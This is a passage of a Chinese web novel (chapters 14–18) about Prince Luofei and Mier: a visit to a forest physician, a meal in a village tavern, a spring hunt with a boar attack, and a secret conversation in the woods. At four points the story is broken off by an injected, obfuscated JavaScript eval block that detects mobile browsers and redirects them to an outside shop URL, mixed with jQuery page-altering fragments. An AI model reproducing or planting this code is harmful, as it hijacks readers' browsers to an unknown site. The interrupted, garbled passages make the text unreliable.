“这里不是偏远,是……偏僻。”米尔转头,满眼都是浓得化不开的绿,不像是医所,像是会跳出野兽的密林。 “城堡的医师医术很高,为什么执着于来密林里求医?”米尔问前面走得熟练的洛斐。 “我小时候身体不好,父王常带我来这里看病。”洛斐转身看着米尔,“此地有位医师虽不常露面,医术却冠绝一时。如今那位医师已故,但他的徒弟还在,医术依旧精湛。” “所以带你来看看,说不定能治好你的旧疾。”洛斐伸手握住米尔手腕,微微用力助他登上高坡,朝前面点点头,“那间房子就是医所。” 洛斐成年后很少来这里,环境大致没有变化,周围依然荒无人烟。 洛斐抬手敲了敲门。 “来了。” 破旧的木门应声而开。 开门的是个男人,眉眼清隽,温润如玉,洛斐许久未见也认出了这位名医之徒。 洛斐见卡斯弗的神色猛然转为惊喜,很意外。他原以为深居山林的高手总归是有些高傲的,没想到为人那么热情。 洛斐挂着浅浅的笑,率先微微颔首,“你好……” “米尔?米尔·韦恩菲尔德?你怎么会在艾瑟兰?”卡斯弗歪着脑袋看向洛斐身后的米尔,语气里满是讶然与惊喜。 米尔应声抬头,怔了一怔,而后轻声说:“你是……卡斯弗?好久不见。” “是的,我都不知道你在艾瑟兰,我还以为你……”卡斯弗猛地止住未讲出口的话,顿了顿,笑着问米尔:“你是来看望我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洛斐听着他们快活且自然的对话,心底生出置身事外的陌生感。他接过卡斯弗递给米尔的茶杯,抬头笑着说:“谢谢。卡斯弗医师,什么时候开始诊治?” “唔……现在就可以开始。”卡斯弗恢复了平日淡漠的神情,“不过,殿下可能需要回避。” “只是治病。”洛斐蹙眉,“我为什么不能陪同?” 卡斯弗低着头,心平气和地说了句,“会影响治疗效果。”洛斐便没了反驳的话。 “我去外面赏景。”洛斐丢下这句话,看了眼米尔,转身出去了。 荒郊野岭的地方,说是赏景也只能四处走走。除却透着草木香的清冽微风,洛斐收获的只有四处乱抽的树枝,走不到尽头的密林和笑声不断的房间。 直到洛斐坐着昏昏欲睡时,卡斯弗才开了门,唤道:“洛斐殿下,请进。” 洛斐进来时,米尔仍端坐着,安静地品茶。 洛斐围着他转了一圈,状态和刚来时一模一样,甚至神情变得略微有点呆滞。 他转身看向卡斯弗,不悦道:“怎么没有变化?” “……”卡斯弗垂下手臂,叹口气,“殿下,医师不是灵药。” 洛斐自知是无理取闹,讪讪地换了话题,“什么时候能彻底治好?” “您得问米尔了。”卡斯弗想了想,将问题抛给米尔,走去屋后捡起晒好的药材。 米尔呆呆地坐着,目光涣散,不知道在想些什么。洛斐半蹲下身,手在他眼前摆了摆,“米尔?回神了。” 就在洛斐即将收回手时, 手腕被猛地握住,洛斐一怔,抬眸看向面前的米尔。 那双惯会淡漠疏离的黑眸也会出现别样的情绪。 “洛斐,我们一起去用餐。”米尔认真地说。 一句话如落水巨石将洛斐搅得措手不及。 医师的治疗,还是有些用。 15. 狩猎邀请 “你饿了?” 洛斐一边询问米尔,一边寻找偏僻小镇里像样的餐馆。 “还好。”米尔语气平淡,抬手遮住强烈的日光,回道:“只是忽然想吃食物了。” “那是很忽然了。”洛斐想起方才在医所时,米尔握住他手腕说要用餐时的反常神情。 腕间余温仿佛还在,洛斐下意识地揉了揉,抬手指向远处人满为患的餐馆,“那家?” “外表光鲜。”米尔皱了皱眉,“味道却很寡淡。” “你怎么知道?” “那家店,我曾光顾。” 米尔说完,看了一圈,径直走向小镇角落里的老旧餐馆,随口对身后的洛斐回道:“在这家用餐。” 洛斐顺势看面前的餐馆。 门面已经斑驳,木质招牌歪歪斜斜地挂着,上面的字迹早没了清晰的纹路。 洛斐蹙着眉,“你总是喜欢这种逼仄且局促的地方吗?就连用餐的餐馆也选择这样的……风格。” 显然他不相信老鼠房间大小的餐馆能做出美味的食物。 “这种风格的地方?”米尔抬手正要推门,忽然顿住,偏头看了洛斐一眼,问:“我的卧房,殿下不是常常待着吗?” “……” “你的卧房不是。”洛斐语气不自然地反驳。 米尔盯着洛斐微垂的眼睛,有意岔开话题,语气平和,“破旧餐馆的味道很不错,一起用餐吧,就当是答谢殿下了。” 洛斐将信将疑地进了餐馆,“这地方叫破旧餐馆?味道能不错吗?” 餐馆内的环境比外表要干净得多,一进门便有香气扑鼻而来。 洛斐稍微放下心来,说不定,真是酒香不怕巷子深。 米尔熟练地点了餐,选了靠边的位置坐下。 哪怕是偏僻的小镇,也难保不会有人认出王子的模样,一旦被认出来,光是那份热情的招待就让人难以招架。 所以洛斐对此没有任何异议,默默地挨着他坐下了。 “尝尝。”米尔将粗陶碗碟递到洛斐眼前,里面的蔬菜浓汤装得满满当当。 洛斐看了一眼,舀起一勺送入口中,汤汁入口鲜嫩,口感细滑。 确实不错。 洛斐放下汤勺,抬起头看向米尔,“你的眼光还不错。” 米尔只稍微试了试味道便放下碗碟,随口回答洛斐的夸奖,“殿下喜欢就好。” 听米尔说完,洛斐颇为满意地认真用餐,不讲话,他面前的碗碟即将见底了,米尔的却还一点没少。 说去用餐的是米尔,现在半点不尝的也是米尔。 米尔余光中瞥见洛斐时不时地看向他,或者说是盯着他手里的蔬菜汤。米尔思索了一会,将蔬菜汤推到洛斐眼前,小心探询,“你要吗?” “……”洛斐看着眼前的碗碟,张了张嘴又合上,最后问:“你不是要用餐?” “胃口不佳。” 洛斐皱了皱眉,“看来名医的徒弟也不过如此。” “旧疾没有为你治好,精气神和气色也无变化。” “卡斯弗医师甚至最后告诉我,你的气色比以前好了很多,人也变得圆润了。” 洛斐说得愤愤不平,他不信卡斯弗的话,抛开其他原因依旧不信。 现在的米尔已经足够消瘦了,丁点赘肉也没有,衣袍都显得空荡荡,根本和圆润不沾边。 如果先前的米尔比这还瘦削,真不知道是如何撑到现在的。 “是的,来到艾瑟兰后气色好了,体重也增加了。”米尔点了点头,对卡斯弗的话表示赞同。 “你……”洛斐本是想借机说卡斯弗几句坏话,谁知反倒为他在米尔那边挣了存在感。 他一时间语塞,想象不出眼前人再瘦下去的模样,莫名地懊恼,只能岔开话题,闷闷地说:“那就再多吃点,食物说不定比卡斯弗的药材要好用。” “谢谢你。” 米尔道谢但不拿碗碟,也不动勺子。 洛斐知道米尔的性子,一向言出必行,说要去练剑便不会中途跑去赛马,刀刃相逼也改不了他的想法。 不用餐的话,有些话也该问了。 洛斐坐正了身子,喊了句:“米尔?” “怎么了?”米尔抬起头,“您有话要讲?” “你的旧友数量不少,而且天南海北遍布很广。” 洛斐说着便开始自顾自地数了起来,“汐莱纳希的洛缇公主,圣希尔学院的名牌导师,现在又有了一个卡斯弗医师。” “怎么了?”米尔不解,他也发现了异常,洛斐每次面对他的旧友,总是莫名地情绪激动。 是怕对他王国不利吗? 想到这里,米尔微微垂眸,轻声道:“殿下请放心,不是……” “你小时候经常出去游历吗?” “在汐莱纳希住过多久?别国也有拜访吗?” “和谁呢?艾琳娜夫人吗?” “最后,圣希尔的导师和卡斯弗医师,更喜欢谁?” 一连串的询问将米尔问得愣住了。 虽然问得急,语气却不像是质问,倒像是在查岗。 米尔叹口气,埋怨自己将这位王子想得复杂,一一回答道:“我小时候常常跟着母亲四处游历,许久不回露希恩王国。” “在汐莱纳希住了两年。” “别国也有拜访。诺薇拉王国,落瑟恩王国,维林诺斯特以及其他邻边国家。” “嗯,大多数是和母亲一起,极少会和朋友们去。” “……我对待朋友一视同仁,不会区分亲疏。” 米尔一口气回答完洛斐的问题,尽量答得详尽,而后看向正陷入深思的洛斐,问:“殿下还有要问的吗?” “我还没问完。”洛斐回过神,取出那张带了许久的图纸,摆到米尔的眼前,抬头问:“认识吗?” “认得,但不全认得。”米尔拿起图纸,摸了摸,“我能认出这是母亲的手稿,但看不懂内容,也不清楚什么时候画的。” 洛斐本就是想将图纸带给米尔,好让他完成那项忙了许久的秘密任务。 米尔扔了也好,留着细细地揣摩也罢。 旁的洛斐都不在意,他只在意米尔是否对他有所隐瞒。 洛斐追问:“你先前来过艾瑟兰?” “第一次来艾瑟兰,就是遇见你的那次。”米尔指了指图纸的右上角,“母亲画它的时候,我还没出生。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572833|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “我对你没有隐瞒。” “是吗?”洛斐嘴角扬起,将刚剥好皮的果子递给米尔,说:“这是我在巡访的小镇餐馆里找到的,看着或许对你有用,就拿了回来。” 米尔仔细地收好图纸,朝对面的洛斐浅浅地笑着,“谢谢你。”道谢结束,米尔才想起刚才他们那段不着边际的问答,不解地问:“殿下方才所问的问题,有什么用处吗?” 洛斐诚实地摇摇头,“没有用处,单纯好奇。” “你从不说往事,我就顺便问出来了。” 洛斐自知做了亏心事,悄悄地抬起一只眼眸,默默地看向米尔,对方则是呆愣地望着碗碟。 洛斐舒口气,他早该明白的,米尔不是那样心胸狭隘的人。 “殿下既然已经知道了我的往事,那便得答应我一个请求。” “……”洛斐抿了抿唇,很想收回方才说出口的话,淡淡地回:“你说。” “莫尔顿公爵的春日狩猎定在下周,给我送了邀请函,一起去吗?” “莫尔顿公爵真是会挑时候。春讯即将来临,狩猎的时间和精力不如用来守护子民和土地。”洛斐不满地念叨完,依然朝着米尔说:“莫尔顿公爵的性子你清楚,他举办的活动向来怪异。” “怪异不怪异去了就知道了,只是怕殿下太忙碌了。” “除却日常训练和课程、招待客人、了解春讯情况,准备和国王汇报,其他倒也不忙。”洛斐一字一顿地说。 “你不忙实在是太好了。”米尔语气轻快。 “……” 哪里看出来他不忙碌了。 用餐结束时,洛斐只喝了米尔买的一碗蔬菜汤,却要殷勤地递给对方他找来的图纸,答应对方宛如命令般的请求。 如果没有米尔分开前,最后嘱咐的那句“我给你带礼物”,洛斐早就动了后悔的念头。 米尔从不做没有用处的事,洛斐知道这次的春日狩猎绝对不会只是简单地猎猎动物,彼此推崇,你来我往地称颂。 但洛斐实在无暇思考其中米尔的目的和深意。 每到春讯的前夕,他便忙得焦躁不安,恨不得连睡眠时间也分给召集会议或者是听取汇报,就连狩猎当日的空闲时间,都是硬凑出来的。 狩猎当日。 日光一如既往地毒烈。 “殿下,时间不早了,您该起床了。温斯洛离猎场的距离并不近。”侍从们着急地催促。 洛斐下意识裹起来毛毯,蒙住半颗脑袋,将一切声音隔绝在外,随口说了句,“已经迟了,他们早就入场了,我们就不用着急。” “可是……韦恩菲尔德大人还在会客厅等您。”侍从们谁也搞不懂自家王子和米尔大人的关系,每次提起米尔都要谨慎万分,生怕戳到洛斐王子的恼怒点。 “谁?米尔?”洛斐猛地起身,将人一股脑地全部推出去,朝门外交代道:“送些点心给韦恩菲尔德大人,不要取浆果馅料的,顺便告诉他,我在忙,需要一些时间来处理文书。” “请问殿下,不需要给我送茶水吗?” “送清淡点……” 洛斐话一出口就愣了愣,穿衣的动作跟着停顿,犹豫地问:“米尔?” 16. 折刀猎野猪 “你怎么没先去狩猎场?”洛斐低着头,急忙整理着未穿整齐的衣袍,朝廊道问了一句。 “等您。”米尔的声音不远不近,也没有进卧房的想法,只是当着侍从们的面,对着收拾动静巨大的洛斐说:“殿下不必匆忙,我会在此等候,直到您一切妥当。” “你那么好心?”洛斐顿了顿,压低声音问。隔着门也能猜出米尔的表情,他记得,对方最是讨厌等待。 “我等您是应该的。”米尔的语气恭敬得异常,洛斐正奇怪着,听见廊道的侍从们渐渐地走远,去巡逻了,米尔便紧接着补了一句,“马车先离开了。” “……” 洛斐认命般地开了门,看向一本正经等待他的米尔。 成坐骑了。 —— 春日的艾瑟兰到底是舒适宜人,日光依旧强烈但不至于毒辣,微风不燥带着点暖意。 洛斐看了眼远处的场地,回头交代,“你在马车里等一会再出来。” 说完便准备下车,身后的米尔久久不回答,洛斐下车后不急着去狩猎场,而是转身掀开车帘,解释道:“莫尔顿公爵大概会和我谈一阵,阳光毒烈,你不必因为我耽误时间而接受暴晒,直接去候场休息就好。” 应付老顽童莫尔顿公爵,可不是容易的事情。 洛斐自认做了万全准备,深知老公爵的品性,依然与他周旋了许久,久到号角声吹响,祝祷仪式开始,莫尔顿公爵才不疾不徐地问:“怎么没看见我落水那日的黑色小伙子。” 洛斐怔了怔,转而想明白老顽童口中的黑色小伙子是谁,神色郑重地指正,“莫尔顿公爵,那位是韦恩菲尔德大人,哪怕是玩闹也要保持尊重。” “抱歉,是韦恩菲尔德大人,我记住了,脑袋一时糊涂了,殿下请不要气恼。”莫尔顿也没料到向来傲气但重礼仪的王子会为此生气,微微欠身,少见地收起顽态。 “我不是气恼。”洛斐干巴巴地反驳。莫尔顿公爵则是被即将开始的祝祷仪式吸引了目光,只来得及朝洛斐微微躬身,便急匆匆地跑去猎场的祭坛了。 如若不是米尔邀请,哪怕是莱因哈特冷言相逼,或者是责备他千千万万遍,洛斐也不会来凑这种热闹。 猎装不透气,场地又恰好顶着烈阳,不适感像是乱缠乱绕的藤蔓那般盘桓不去。 偏偏身边的贵族们兴致高昂,拖着洛斐高谈阔论了一番。 洛斐嘴角扬起,眼底却没有笑意,只是微微颔首,聆听贵族们的教导,挑选着回答他们的提问。 祝祷仪式在你一言我一语的贵族教导中过去。 狩猎开始,洛斐才终于从轮番教导中脱了身,他朝着狩猎场的凉亭望去。 方才还垂着头,闭目养神的米尔不知去向。 莫尔顿家族的猎场建在野外密林中,动物攻击性虽不算高,但危险依然存在。 “你去……” 洛斐刚要吩咐交代身边侍从去寻找米尔,肩膀就被轻轻地拍了下,从暗暗的力道也能猜出来来人是谁。 洛斐转身问:“你去哪里了?” “马厩。”米尔朝那边指了指,“侯爵邀请我去参观莫尔顿的马匹。” “真的?” 受侯爵邀请去看马匹,也不是全无可能,只是米尔微微喘气,衣袍凌乱的模样,怎么看都不像是只去看了马。 “猎场里除却马厩我还能去哪里?”米尔将缰绳递给洛斐,“殿下对马匹的要求向来严苛,我便是去给殿下精心挑选马匹的,怎么会是假的。” 洛斐原本还将信将疑,听见米尔说的话,不再往下追问,顺手接过缰绳,抿着唇,“是吗?……猎场难免会有一些攻击性强的动物。如果你要去做什么,记得喊着我,或者是带几位侍从同去。” “明白了,多谢殿下关心。”米尔说完,也刚好将紊乱的呼吸平复下来,准备翻身上马,结果转头看洛斐依旧怔怔地盯着缰绳,而后不急不躁,慢吞吞地抚摸马的鬃毛。 “殿下不一起同去吗?”米尔抚着身下的马,低头道:“人群走得差不多了。” 洛斐漫不经心地抬眸,“不必在意,人群散去还能获得清静,不需要跟着他们将狩猎变成冠冕堂皇的巡游。” “殿下上次可不是这么说的。”米尔骑马往密林走去,静静地对身后的洛斐说道。 话音刚落,洛斐愣了愣。 这还真不是他和米尔第一次共同狩猎。 去年初秋,王室的狩猎赛是他们的第二次见面,也是他们真正说上话的开始。 尽管起初不太……友好。 当时,洛斐一箭射中树干,将米尔捕到的兔子吓得跑没影了,愧疚心丁点没有,反而义正言辞地说:“不过是巡游般的比赛,你未免也太认真。况且猎杀幼兔可不是绅士的做法。” “你说得对。”米尔只是淡淡地回答。 直到狩猎结束,米尔什么也没猎到,也只和洛斐说了这一句话。 往日挑衅的话语如云烟飘进记忆里,洛斐有些挂不住,闷声道:“当然,那是报复你的手段,但是猎杀幼兔确实不妥当。” 莫尔顿公爵猎场的密林也生得古怪,坚硬的旁枝像是利刃那样锋利,米尔挥了挥扫来的树枝,说:“幼兔不是捕来的,只是它撞上树干晕了。” “我不喜欢鲜红的血液,也不会无故杀戮。”米尔语气淡淡地,“而且,如果我要射箭,便不会有你来救它的可能。” “你的箭术确实很好。”洛斐相信传闻中米尔的全能不是假的,对米尔难得展露的傲气,也默默承认。 既然不喜欢杀戮也不偏爱热闹,却反而接受莫尔顿公爵的邀请。 怎么也说不通。 洛斐问策马走在前的米尔:“你接受莫尔顿公爵的狩猎邀请,是为了什么?” “磨炼心性?还是说练习箭术?” 米尔转身,认真地说: “训练你。” —— 日光透过枝叶间隙落下满地斑驳。人群前方嘈杂的谈笑声此起彼伏,时不时传来利刃划破空气的尖锐声响。 人群后面却是另一番光景。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575052|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 肩膀放平,呼吸放稳。” “偏了,往左偏了两指。” “这一箭好多了,但还是不够。” …… 洛斐甩了甩手腕,“你先前做王子需要项项全能吗?” “和你接受一样的训练。”米尔依旧是原来的客套话,“要求并不高。” 米尔刚说完,前面骤然传来一阵震耳的轰隆声,远远听着重物撞击树干的声音。 洛斐皱了皱眉。 他早就特意避开了人群,却依然如此吵闹,一声高一声的喧哗,恨不得让全王国的人都知道自己捕到了猎物。 洛斐顺势看向米尔,目光里有隐隐的担忧。 “你怎么了?”米尔不解,灼热的视线难以忽视,怎么好端端地开始担心他了。 “你不是怕巨响吗?”洛斐犹豫地问。 米尔听到远处隐约的谈话声,才反应过来洛斐眼底的担忧出自何处,松口气解释:“远处的谈话声对我来说没什么影响,不必为我费心,整日担忧。” “不是整日担忧……”洛斐话音未落,远处隐约的谈话声就被近处的响动取而代之,杂草蹂躏,树枝断裂的声音齐齐地冲来。 洛斐猛地转头。 满身黑毛,鬃毛倒竖的野猪从草丛中冲了出来,气势冲冲地盯着他们,白森森的獠牙外翻,小眼睛里满是凶光。 “米尔!”洛斐一把拉住米尔的马缰,将他拽到身后,弯弓搭箭,对准了那头凶悍的野猪。 不偏不倚,正对野猪脑袋。 畜生闷哼一声,像是被激怒了,发出一阵刺耳的嚎叫。 “哼哼……” 野猪直直地冲着洛斐来,只是冲到一半,肚子被一刀砍断,彻底断了气。 洛斐看向杀猪人米尔。 那随身携带的折刀挂着点滴鲜血,刀刃依旧光滑,米尔的神色淡然地像是随手折断树枝那样简单。 “殿下,射箭要找准要害,野猪不是幼兔不会等待你的猎杀。”米尔擦拭着折刀,别回腰间。 高谈阔论的一群人此刻却匆匆忙忙地跑过来,诧异地看着倒地不起的野猪。一时间,关切的问候纷至沓来,中间夹杂着对米尔英勇和智慧的连声称赞。 野猪的袭击对洛斐来说,还造不成惊吓,只是怕米尔因此受惊。 洛斐看身边的米尔神色如常才放下心来,反过来安抚担忧的贵族们。 野猪一闹,洛斐成了莫尔顿公爵的重点关注对象,从比赛期间到赛后晚宴,时时刻刻不移开视线。 莫尔顿公爵也实在不想办次狩猎比赛就成了杀害王子的凶手。 晚宴相较白日的比赛,倒是愉快得多。莫尔顿公爵虽不似年少,但心性却依然年轻,不将恭维奉承视为瑰宝,争着抢着听,也不拘于规矩约束。 因此将晚宴办得恰到好处。 猎获的猎物依次摆放,凶狠的野猪在里面格外扎眼,洛斐看了一眼,下意识抬头去找对面的米尔。 结果,对面的座位空空如也。 “又跑了?”洛斐轻声开口。 17. 你在和谁讲话? “洛斐殿下,您去哪里呢?需要侍从陪同吗?”莫尔顿公爵精准地看向起身离去的洛斐。 洛斐默默坐回去,悄悄溜走的念头就此作罢,“公爵不用担心,只是有点透不过来气,也许是狩猎时用力太猛。” “我现在就去给您请医师。” 洛斐眼睫微动,抬眸看去,莫尔顿公爵匆匆就要去请医师,连忙喊住,“不必,去透透气就好,顺便参观公爵的狩猎场,我早就很期待。” “没什么大不了的,不过是不值得一提的小摆件,莱衲去陪……真的不用陪同吗?”莫尔顿公爵一听夸奖的话,语气立即多了骄傲,反复嘱咐洛斐带着侍从领路介绍。 推来挡去,最后总算将人劝了回去。 春日的夜风时而清凉时而热腻,今夜恰好就是后者。 洛斐围着密林外层走了一圈,没见到米尔,也没被周边景色吸引住。 莫尔顿公爵尽管爱玩闹但向来崇尚朴素,连狩猎场地的布置也是如此,只是些基础用具和必需品的堆砌。 确实没有特别值得一看的地点。 如果非要说别致的物品,可能就是挂在树枝上的奇形怪状的小摆件,总是冷不丁就从角落里冒出来了。 “又来了。”洛斐扯了扯被挂住的衣袍,懒得去看那些长得稀奇古怪,摆得歪歪扭扭的物件,径直往前走。 走得疲倦时才后悔确实应该带个同伴来,至少能给他指路,不至于像现在一样,在一个地方来回打转。 月黑风高,见不到人影,洛斐也不好折回晚宴,毕竟,这次回去,他也不知道下次脱身能用什么理由。 洛斐索性倚着树干,准备歇息片刻,肩背刚触到树皮,便听见细碎的谈话声从身后的一小片林地中传出来。 “她托我转告,您上次信中提起的那件事,属实,他们确实去过艾瑟兰,而且不止一次。” “这是顺便拿来的邀请函,时间久远,只能找到其中最寻常的小件。” …… 洛斐听着耳边模糊的声音,皱了皱眉,准备起身离去。 他下意识便将隐蔽树林中的低语,视为某对伴侣提高亲密度的手段。 “谢谢你。” 最后的一句话倒是清晰。 洛斐恍惚一瞬,愕然地回头,朝声音传来的方向望去。 怎么和米尔的声音那么相似。 米尔在和谁私会? 可是这次狩猎来的只有贵族男性,难不成米尔在和男人私会? 谁? 米尔掀开树枝走出来时,一抬眼就看见洛斐挡在林子中间,神情晦暗不明。 米尔望了望四周,并没有其他人,洛斐就那么直直地看着他,也不讲话。 米尔不解地往右走。 洛斐就跟着往右走。 “你……”米尔的话未落地,便被面前的洛斐截断了。 “你刚才是不是在林子里和人说话?” 米尔虽然不理解,但依旧点头。 “……是男人?”洛斐犹豫地追问道。 “是。” 空气停滞,就在米尔以为洛斐无话可说后,便默默地挪到一旁,试图悄悄越过去。 肩膀一凉,米尔顺势转头,洛斐冰凉的手指就那么蹭到他脸上,那道淡淡的痕迹,分明是上次的伤口。 米尔本能地往后躲了躲。 “殿下怎……” “米尔。” “你怎么能和男人私会呢?” 洛斐说的语气实在复杂,不解,惊愕和悲伤混杂一起,最后带着恨铁不成钢一股脑地涌来,将本就不明所以的米尔更是云里雾里,“私会?谁?” “你不必掩饰,我知道你来此的目的了。”洛斐握住他的肩膀,“你不要受人蒙骗,对你好,也许是图你的金钱,或是你的身份。” “更何况,能让你缺席晚宴,约你来林子里交谈的人绝对不会是好人,你千万不能冲动。” “莱因哈特国王也不会应允。你如果……” “停。”米尔听着洛斐口中逐渐跑偏的话语,不由自主地抬手打断,“你,你在说什么?” “私会?蒙骗?” 米尔费力地将洛斐抛出来的词语串一起,半知半解后,再一次被面前这位王子的奇思妙想所折服。 “那位只是我的旧友。”米尔不咸不淡地说完而后抬头,正好对上洛斐抱着手臂,安静地盯着他。 一副你觉得我能相信吗的表情。 米尔将手搭在洛斐手背上,叹口气,“真的只是旧友。” 洛斐的手指抬了抬,戳到米尔手心,问:“你们在竹林交谈,对你来说有什么好处吗?” 放着最适合交谈的晚宴不用,来竹林里谈话。 古怪。 “他和卡斯弗一样喜静,很少外出。”米尔的手落下来,“他恰巧从卡斯弗医师处听闻我身在艾瑟兰,便匆匆跑来看望我,又怕被人撞见,耽误了接下来的行程,就约在了林子里。” “这个解释可以吗?殿下。” 米尔话音落地,抬眸回看洛斐。 虽然米尔说得有理有据,但洛斐还是不太相信地反问:“真不是心上人?”真的会有人来偏远的狩猎场就为了看旧友一眼? “不是。”米尔心平气和地回答,弯腰捡起因他们争执而掉落的小摆件,“但如果殿下还不返回晚宴,莫尔顿公爵可能马上就带人来救您了。” 野猪袭击最大的受害人是莫尔顿公爵,连晚宴都欢快不起来,依旧心惊胆战地乱猜。洛斐念着让公爵能好好享受宴席,放弃对米尔的暂时追问,和他一起回了晚宴。 晚宴场地不远,但洛斐特意走得慢。 他向来不爱管闲事,但米尔自从和他熟悉后就从未安心地歇着过一次,总是一而再再而三地做些奇怪举动。 无论是去布雷克伍平原,还是帮助维伦,又或者是接受莫尔顿公爵的邀请来参加狩猎。 洛斐全然猜不透米尔的心思。 哪怕是为了情怀,但长辈的旧物值得如此大费周章?还是说,另有缘由。 “洛斐。”晚宴的喧闹声渐渐清晰,米尔忽然先他一步开了口。 洛斐还在费力捋清楚来龙去脉,随口问了一句,“怎么了?” “你……不要和国王王后提起。”米尔语气带着迟疑。 “提起来什么?” “你知道的全部都不要提起。” “好……”洛斐顿了顿,话语突然转了弯,“好是好,只是你得告诉我你的秘密。” 米尔皱了皱眉,果断地说:“我告诉过殿下了。” “全部秘密。”洛斐借着晚宴透出的光线,看向米尔,压低声线,“交换需要你来我往。” “有所隐瞒可不算。” 没有比借着答应请求来套话更方便的法子了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578105|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 洛斐扬起头,等着米尔将所有事情串起来讲给他听。 结果,等来一句。 “亲爱的洛斐殿下,您去哪里了?我派人找了一圈又一圈。” 莫尔顿公爵的喊声隔着很远传来,也能听清。 洛斐下意识地望向米尔,果然对方正笑着与公爵寒暄,压根不回答。 洛斐又不能当着公爵和一众贵族的面子去质问。 米尔这是料定他绝不会告密。 好,很好…… 晚宴结束时,洛斐又被临时喊去处理春讯事务。发布告示,查看堤坝和视察村庄。 身体疲惫不足挂齿,得不到米尔的回答才是真正的心结。 解不开的那种。 洛斐在春讯的重点村庄待了好几日,确保堤坝和设施万无一失,待万事妥当,才动身返回温斯洛。 刚走到城堡入口,洛斐就遇上了匆匆忙忙的埃迪。对方径直朝他走来,不偏不倚,正好挡住了他去寻找米尔的路。 埃迪喘着气。洛斐也不催,“埃迪?你不是去汐莱纳希联合演练吗?” 埃迪平复好呼吸,“好久不见,殿下。是联合演练提前结束了,我回来协助您完成春讯事宜。” “来得正好。”洛斐拍了拍他肩膀,“我正好缺人手。” 埃迪张了张嘴,踌躇道:“……国王方才召见了我。” 洛斐微微颔首,“应该的,父王是万事皆要汇报的个性。” “并不是演练汇报。” “那是什么?” 洛斐有点好奇,埃迪亲自来和他讲必定是大事,况且国王本就不是轻易召人交谈的性格。 埃迪低着头说:“国王让您和韦恩菲尔德大人一起处理春讯事务。”他说完,微微抬头,果不其然看见洛斐的神情变得复杂起来。 “您生气了吗?” “生气?”洛斐倒不是生气,只是觉得奇怪。 他原本打算亲自去和父王谈谈,让米尔跟着一起去。毕竟偷偷摸摸地去,没有阻碍也没有功劳。 总不能让米尔白忙活了。 现在国王直接同意,倒是节省时间和口舌了。 “我不生气。”洛斐心情不错,“埃迪你去忙,我先去找米尔一趟。” 埃迪呆愣着回答:“好。” 米尔的卧房空荡荡,只有小黑缩在毛毯上呼呼大睡。洛斐蹑手蹑脚地环顾了一圈,确认米尔不在后关上了门。 米尔起居有常,每日时间都掐得精准,眼下正是夕阳刚落的时候,不在卧房就是在训练场。 骑士们的日常训练早就结束,此时的训练场连只小鸟都见不到。 洛斐远远地望见米尔在调试弓箭,刚想开口,又将到嘴边的话收了回去,默默地走到一旁,等他结束。 训练场四下无人,情况可不妙。 洛斐先前还隐隐担忧,怕米尔会对他视若无睹,径直从他身边离去,既不回答也不问候。 结果,洛斐真猜对了。 “米尔,米尔·韦恩菲尔德。”洛斐凑到他身边,米尔却依旧一句话不说,佯装未闻。 洛斐深呼吸,无奈地说:“你一辈子不搭理我了?” “……” “好了,不问你的秘密了。” “殿下回来了?下午好。”米尔当即转头,颔首问候。 “下午好。” 变化得……真快。 18. 搭档 “视察回来了?”米尔将弓箭放回原地,“一切顺利吗?” “很顺利。”洛斐看向熟悉的弓箭,歪着头,懒洋洋地问:“你也要去治理春讯?” “殿下明明答应带我同去,现在怎么反过来问我呢。” “我只是很奇怪,你怎么让国王和王后同意的。”洛斐挨着米尔坐下,压低声线道:“尤其是莱因哈特国王,你能将他说服真是厉害。” 面对莱因哈特的质问和反对,依旧能绝地求生,甚至说服对方完成心愿,抛开功劳和身份不谈,洛斐由衷地佩服米尔。 “这要谢谢你。” 米尔转过头,笑着说:“没有殿下的帮助,我可完成不了。” “我只是帮了小忙。” 洛斐下意识开口,转而想起他还没来得及对莱因哈特说的请求,对米尔莫名地道谢感到奇怪,问:“你谢我什么?” “莱因哈特国王若允许我陪同,你回来后便需交三倍于往常的报告文书。”米尔认真地说。 “我?”洛斐往后靠了靠,又重复一遍,“你去治理春讯,为什么是我提交加倍文书?” 莱因哈特对文书要求极高,三倍报告文书对洛斐而言,难度也跟着加倍。 “不清楚,国王说,有我陪同,你的效率应当提高。”米尔轻声说完,见洛斐神情复杂,率先开了口:“如果殿下无法完成……” “无所谓,三倍报告文书对我来说易如反掌,不必放在心里。”洛斐的语气带着强撑,利落地讲完,转头看向米尔,“走,去你卧房。” 